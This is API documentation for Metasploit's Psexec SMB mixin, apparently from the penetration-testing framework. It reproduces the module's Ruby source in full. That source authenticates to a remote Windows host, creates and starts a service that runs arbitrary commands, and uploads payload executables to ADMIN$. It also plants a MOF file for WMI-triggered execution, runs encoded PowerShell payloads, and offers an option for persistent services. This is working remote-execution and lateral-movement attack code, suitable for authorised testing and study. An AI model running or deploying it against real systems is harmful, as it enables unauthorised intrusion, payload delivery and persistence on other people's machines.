Module: Msf::Exploit::Remote::SMB::Client::Psexec

Includes:
Failure, DCERPC, Authenticated, Windows_Constants
Included in:
Psexec_MS17_010
Defined in:
lib/msf/core/exploit/smb/client/psexec.rb

Overview

Allows for reuse of the psexec code execution technique

This code was stolen straight out of the psexec module. Thanks very much for all who contributed to that module!! Instead of uploading and running a binary.

Constant Summary

Constants included from Msf::Exploit::Remote::SMB::Client

CONST, DCERPCClient, DCERPCPacket, DCERPCResponse, DCERPCUUID, NDR, SIMPLE, XCEPT

Constants included from DCERPC

DCERPC::DCERPCClient, DCERPC::DCERPCPacket, DCERPC::DCERPCResponse, DCERPC::DCERPCUUID, DCERPC::NDR

Constants included from DCERPC_LSA

DCERPC_LSA::NDR

Constants included from DCERPC_MGMT

DCERPC_MGMT::NDR

Constants included from Windows_Constants

Windows_Constants::CHANGE_SERVICE_CONFIG2_W, Windows_Constants::CHANGE_SERVICE_CONFIG_W, Windows_Constants::CLOSE_SERVICE_HANDLE, Windows_Constants::CONTROL_SERVICE, Windows_Constants::CREATE_SERVICE_W, Windows_Constants::DELETE_SERVICE, Windows_Constants::OPEN_SC_MANAGER_W, Windows_Constants::OPEN_SERVICE_W, Windows_Constants::QUERY_SERVICE_STATUS, Windows_Constants::SC_MANAGER_ALL_ACCESS, Windows_Constants::SC_MANAGER_CONNECT, Windows_Constants::SC_MANAGER_CREATE_SERVICE, Windows_Constants::SC_MANAGER_ENUMERATE_SERVICE, Windows_Constants::SC_MANAGER_LOCK, Windows_Constants::SC_MANAGER_MODIFY_BOOT_CONFIG, Windows_Constants::SC_MANAGER_QUERY_LOCK_STATUS, Windows_Constants::SERVICE_ACCEPT_HARDWAREPROFILECHANGE, Windows_Constants::SERVICE_ACCEPT_NETBINDCHANGE, Windows_Constants::SERVICE_ACCEPT_PARAMCHANGE, Windows_Constants::SERVICE_ACCEPT_PAUSE_CONTINUE, Windows_Constants::SERVICE_ACCEPT_POWEREVENT, Windows_Constants::SERVICE_ACCEPT_PRESHUTDOWN, Windows_Constants::SERVICE_ACCEPT_SESSIONCHANGE, Windows_Constants::SERVICE_ACCEPT_SHUTDOWN, Windows_Constants::SERVICE_ACCEPT_STOP, Windows_Constants::SERVICE_ACCEPT_TIMECHANGE, Windows_Constants::SERVICE_ACCEPT_TRIGGEREVENT, Windows_Constants::SERVICE_ACTIVE, Windows_Constants::SERVICE_ALL_ACCESS, Windows_Constants::SERVICE_AUTO_START, Windows_Constants::SERVICE_BOOT_START, Windows_Constants::SERVICE_CHANGE_CONFIG, Windows_Constants::SERVICE_CONFIG_DELAYED_AUTO_START_INFO, Windows_Constants::SERVICE_CONFIG_DESCRIPTION, Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS, Windows_Constants::SERVICE_CONFIG_FAILURE_ACTIONS_FLAG, Windows_Constants::SERVICE_CONFIG_LAUNCH_PROTECTED, Windows_Constants::SERVICE_CONFIG_PREFERRED_NODE, Windows_Constants::SERVICE_CONFIG_PRESHUTDOWN_INFO, Windows_Constants::SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO, Windows_Constants::SERVICE_CONFIG_SERVICE_SID_INFO, Windows_Constants::SERVICE_CONFIG_TRIGGER_INFO, Windows_Constants::SERVICE_CONTINUE_PENDING, Windows_Constants::SERVICE_CONTROL_CONTINUE, Windows_Constants::SERVICE_CONTROL_DEVICEEVENT, Windows_Constants::SERVICE_CONTROL_HARDWAREPROFILECHANGE, Windows_Constants::SERVICE_CONTROL_INTERROGATE, Windows_Constants::SERVICE_CONTROL_NETBINDADD, Windows_Constants::SERVICE_CONTROL_NETBINDDISABLE, Windows_Constants::SERVICE_CONTROL_NETBINDENABLE, Windows_Constants::SERVICE_CONTROL_NETBINDREMOVE, Windows_Constants::SERVICE_CONTROL_PARAMCHANGE, Windows_Constants::SERVICE_CONTROL_PAUSE, Windows_Constants::SERVICE_CONTROL_POWEREVENT, Windows_Constants::SERVICE_CONTROL_PRESHUTDOWN, Windows_Constants::SERVICE_CONTROL_SESSIONCHANGE, Windows_Constants::SERVICE_CONTROL_SHUTDOWN, Windows_Constants::SERVICE_CONTROL_STOP, Windows_Constants::SERVICE_CONTROL_TIMECHANGE, Windows_Constants::SERVICE_CONTROL_TRIGGEREVENT, Windows_Constants::SERVICE_DEMAND_START, Windows_Constants::SERVICE_DISABLED, Windows_Constants::SERVICE_ENUMERATE_DEPENDENTS, Windows_Constants::SERVICE_ERROR_IGNORE, Windows_Constants::SERVICE_INACTIVE, Windows_Constants::SERVICE_INTERACTIVE_PROCESS, Windows_Constants::SERVICE_INTERROGATE, Windows_Constants::SERVICE_NO_CHANGE, Windows_Constants::SERVICE_PAUSED, Windows_Constants::SERVICE_PAUSE_CONTINUE, Windows_Constants::SERVICE_PAUSE_PENDING, Windows_Constants::SERVICE_QUERY_CONFIG, Windows_Constants::SERVICE_QUERY_STATUS, Windows_Constants::SERVICE_RUNNING, Windows_Constants::SERVICE_RUNS_IN_SYSTEM_PROCESS, Windows_Constants::SERVICE_START, Windows_Constants::SERVICE_START_PENDING, Windows_Constants::SERVICE_STATE_ALL, Windows_Constants::SERVICE_STOP, Windows_Constants::SERVICE_STOPPED, Windows_Constants::SERVICE_STOP_PENDING, Windows_Constants::SERVICE_SYSTEM_START, Windows_Constants::SERVICE_USER_DEFINED_CONTROL, Windows_Constants::SERVICE_WIN32_OWN_PROCESS, Windows_Constants::STANDARD_RIGHTS_REQUIRED

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::SMB::Client

#simple

Attributes included from Tcp

#sock

Attributes included from DCERPC

#dcerpc, #handle

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::SMB::Client

#connect, #domain, #domain_username_split, #smb_create, #smb_direct, #smb_enumprinters, #smb_enumprintproviders, #smb_file_exist?, #smb_file_rm, #smb_fingerprint, #smb_fingerprint_windows_lang, #smb_fingerprint_windows_sp, #smb_hostname, #smb_lanman_netshareenumall, #smb_login, #smb_lookup_share_type, #smb_netshareenumall, #smb_netsharegetinfo, #smb_open, #smb_peer_lm, #smb_peer_os, #smb_srvsvc_netshareenumall, #smb_srvsvc_netsharegetinfo, #smbhost, #splitname, #unicode

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #deregister_tcp_options, #disconnect, #handler, #lhost, #lport, #peer, #print_prefix, #proxies, #rhost, #rport, #set_tcp_evasions, #shutdown, #ssl, #ssl_cipher, #ssl_verify_mode, #ssl_version

Methods included from DCERPC

#dcerpc_bind, #dcerpc_call, #dcerpc_getarch, #dcerpc_handle, #unicode

Methods included from DCERPC_LSA

#lsa_open_policy

Methods included from DCERPC_MGMT

#dcerpc_mgmt_connect, #dcerpc_mgmt_inq_if_ids, #dcerpc_mgmt_inq_if_stats, #dcerpc_mgmt_inq_princ_name, #dcerpc_mgmt_is_server_listening, #dcerpc_mgmt_stop_server_listening

Methods included from DCERPC_EPM

#dcerpc_endpoint_find_tcp, #dcerpc_endpoint_find_udp, #dcerpc_endpoint_list

Instance Method Details

#display_nameString

Retrieve the SERVICE_DISPLAY_NAME option, generate a random one if not already set.

Returns:

  • (String)

    the display name of the service.


55
56
57
58
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 55

def display_name
  @display_name ||= datastore['SERVICE_DISPLAY_NAME']
  @display_name ||= Rex::Text.rand_text_alpha(16)
end

#execute_command(text, bat, cmd) ⇒ Object


223
224
225
226
227
228
229
230
231
232
233
234
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 223

def execute_command(text, bat, cmd)
  # Try and execute the provided command
  execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
  vprint_status("Executing the command...")
  begin
    return psexec(execute)
  rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
    elog('Unable to execute specified command', 'rex', LEV_3, error: e)
    print_error("Unable to execute specified command: #{e}")
    return false
  end
end

#execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0) ⇒ Object


236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 236

def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0)
  res = execute_command(text, bat, cmd)
     if res
       for i in 0..(retries)
         Rex.sleep(delay)
         # if the output file is still locked then the program is still likely running
         if (exclusive_access(text, smb_share, r_ip))
           break
         elsif (i == retries)
           print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
         end
       end
       output = get_output(text, smb_share, r_ip)
     end

  cleanup_after(bat, smb_share, r_ip)
  output
end

#execute_powershell_payloadObject


255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 255

def execute_powershell_payload
  ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
  command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

  if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
    print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
  end

  # Execute the powershell command
  print_status("Executing the payload...")
  begin
    psexec(command)
  rescue StandardError => exec_command_error
    fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
  end
end

#initialize(info = {}) ⇒ Object


27
28
29
30
31
32
33
34
35
36
37
38
39
40
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 27

def initialize(info = {})
  super
  register_options(
    [
      OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
      OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
      OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
    ], self.class)

  register_advanced_options(
    [
      OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false])
    ], self.class)
end

#mof_upload(smb_share) ⇒ Object


343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 343

def mof_upload(smb_share)
  share = "\\\\#{datastore['RHOST']}\\ADMIN$"
  filename = "#{Rex::Text.rand_text_alpha(8)}.exe"

  # payload as exe
  print_status("Trying wbemexec...")
  print_status("Uploading Payload...")
  if smb_share != 'ADMIN$'
    print_error('Wbem will only work with ADMIN$ share')
    return
  end
  simple.connect(share)
  exe = generate_payload_exe
  fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
  fd << exe
  fd.close
  print_status("Created %SystemRoot%\\system32\\#{filename}")

  # mof to cause execution of above
  mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
  mof = generate_mof(mofname, filename)
  print_status("Uploading MOF...")
  fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
  fd << mof
  fd.close
  print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

  # Disconnect from the ADMIN$
  simple.disconnect(share)
end

#native_upload(smb_share, filename, service_encoder) ⇒ Object


272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 272

def native_upload(smb_share, filename, service_encoder)
  # Upload the shellcode to a file
  print_status("Uploading payload... #{filename}")
  smbshare = smb_share
  fileprefix = ""
  # if SHARE = Users/sasha/ or something like this
  if smbshare =~ /.[\\\/]/
    subfolder = true
    smbshare = smb_share.dup
    smbshare = smbshare.gsub(/^[\\\/]/,"")
    folder_list = smbshare.split(/[\\\/]/)
    smbshare = folder_list[0]
    fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
    simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
    fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
  else
    subfolder = false
    simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
    fd = smb_open("#{filename}", 'rwct', write: true)
  end
  exe = ''
  opts = { :servicename => service_name, :serviceencoder => service_encoder}
  begin
    exe = generate_payload_exe_service(opts)

    fd << exe
  ensure
    fd.close
  end

  if subfolder
    print_status("Created \\#{fileprefix}\\#{filename}...")
  else
    print_status("Created \\#{filename}...")
  end

  # Disconnect from the share
  simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")

  # define the file location
  if smb_share == 'ADMIN$'
    file_location = "%SYSTEMROOT%\\#{filename}"
  elsif smb_share =~ /^[a-zA-Z]\$$/
    file_location = smb_share.slice(0,1) +  ":\\#{filename}"
  else
    file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
  end

  psexec(file_location, false)

  unless datastore['SERVICE_PERSIST']
    print_status("Deleting \\#{filename}...")
    #This is not really useful but will prevent double \\ on the wire :)
    if smb_share =~ /.[\\\/]/
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      begin
        simple.delete("#{fileprefix}\\#{filename}")
      rescue XCEPT::ErrorCode => e
        print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
      end
    else
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      begin
        simple.delete("#{filename}")
      rescue XCEPT::ErrorCode => e
        print_error("Delete of \\#{filename} failed: #{e.message}")
      end
    end
  end
end

#powershell_installed?(smb_share, psh_path) ⇒ Boolean

Returns:

  • (Boolean)

197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 197

def powershell_installed?(smb_share, psh_path)
  share = "\\\\#{datastore['RHOST']}\\#{smb_share}"

  case smb_share.upcase
  when 'ADMIN$'
    path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
  when 'C$'
    path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
  else
    path = psh_path
  end

  simple.connect(share)
  vprint_status("Checking for #{path}")
  if smb_file_exist?(path)
    vprint_status('PowerShell found')
    psh = true
  else
    vprint_status('PowerShell not found')
    psh = false
  end

  simple.disconnect(share)
  psh
end

#psexec(command, disconnect = true) ⇒ Boolean

Executes a single windows command.

If you want to retrieve the output of your command you'll have to echo it to a .txt file and then use the #smb_read_file method to retrieve it. Make sure to remove the files manually or use FileDropper#register_files_for_cleanup to have the FileDropper#cleanup and FileDropper#on_new_session handlers do it for you.

Parameters:

  • command (String)

    Should be a valid windows command

  • disconnect (Boolean) (defaults to: true)

    Disconnect afterwards

Returns:

  • (Boolean)

    Whether everything went well


101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 101

def psexec(command, disconnect=true)
  simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
  handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
  vprint_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  vprint_status("Bound to #{handle} ...")
  vprint_status("Obtaining a service manager handle...")

  svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
  scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])

  if scm_status == ERROR_ACCESS_DENIED
    print_error("ERROR_ACCESS_DENIED opening the Service Manager")
  end

  return false unless scm_handle

  if datastore['SERVICE_PERSIST']
    opts = { :start => SERVICE_AUTO_START }
  else
    opts = {}
  end

  vprint_status("Creating the service...")
  svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)

  case svc_status
  when ERROR_SUCCESS
    vprint_good("Successfully created the service")
  when ERROR_SERVICE_EXISTS
    service_exists = true
    print_warning("Service already exists, opening a handle...")
    svc_handle = svc_client.openservicew(scm_handle, service_name)
  when ERROR_ACCESS_DENIED
    print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
    return false
  else
    print_error("Failed to create service, ERROR_CODE: #{svc_status}")
    return false
  end

  if svc_handle.nil?
    print_error("No service handle retrieved")
    return false
  end

  if service_description
    vprint_status("Changing service description...")
    svc_client.changeservicedescription(svc_handle, service_description)
  end

  vprint_status("Starting the service...")
  begin
    svc_status = svc_client.startservice(svc_handle)
    case svc_status
    when ERROR_SUCCESS
      print_good("Service started successfully...")
    when ERROR_FILE_NOT_FOUND
      print_error("Service failed to start - FILE_NOT_FOUND")
    when ERROR_ACCESS_DENIED
      print_error("Service failed to start - ACCESS_DENIED")
    when ERROR_SERVICE_REQUEST_TIMEOUT
      print_good("Service start timed out, OK if running a command or non-service executable...")
    else
      print_error("Service failed to start, ERROR_CODE: #{svc_status}")
    end
  ensure
    begin
      # If service already exists don't delete it!
      # Maybe we could have a force cleanup option..?
      if service_exists
        print_warning("Not removing service as it already existed...")
      elsif datastore['SERVICE_PERSIST']
        print_warning("Not removing service for persistence...")
      else
        vprint_status("Removing the service...")
        svc_status = svc_client.deleteservice(svc_handle)
        if svc_status == ERROR_SUCCESS
          vprint_good("Successfully removed the service")
        else
          print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
        end
      end
    ensure
      vprint_status("Closing service handle...")
      svc_client.closehandle(svc_handle)
    end
  end

  if disconnect
    simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
  end

  true
end

#service_descriptionString

Retrieve the SERVICE_DESCRIPTION option

Returns:

  • (String)

    the service description.


63
64
65
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 63

def service_description
  @service_description ||= datastore['SERVICE_DESCRIPTION']
end

#service_nameString

Retrieve the SERVICE_NAME option, generate a random one if not already set.

Returns:

  • (String)

    service_name the name of the service.


46
47
48
49
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 46

def service_name
  @service_name ||= datastore['SERVICE_NAME']
  @service_name ||= Rex::Text.rand_text_alpha(8)
end

#smb_read_file(smbshare, host, file) ⇒ String?

Retrives output from the executed command

Parameters:

  • smbshare (String)

    The SMBshare to connect to. Usually C$

  • host (String)

    Remote host to connect to, as an IP address or hostname

  • file (String)

    Path to the output file relative to the smbshare Example: 'WINDOWSTempoutputfile.txt'

Returns:

  • (String, nil)

    output or nil on failure


75
76
77
78
79
80
81
82
83
84
85
86
87
# File 'lib/msf/core/exploit/smb/client/psexec.rb', line 75

def smb_read_file(smbshare, host, file)
  begin
    simple.connect("\\\\#{host}\\#{smbshare}")
    file = simple.open(file, 'o')
    contents = file.read
    file.close
    simple.disconnect("\\\\#{host}\\#{smbshare}")
    return contents
  rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
    print_error("Unable to read file #{file}. #{e.class}: #{e}.")
    return nil
  end
end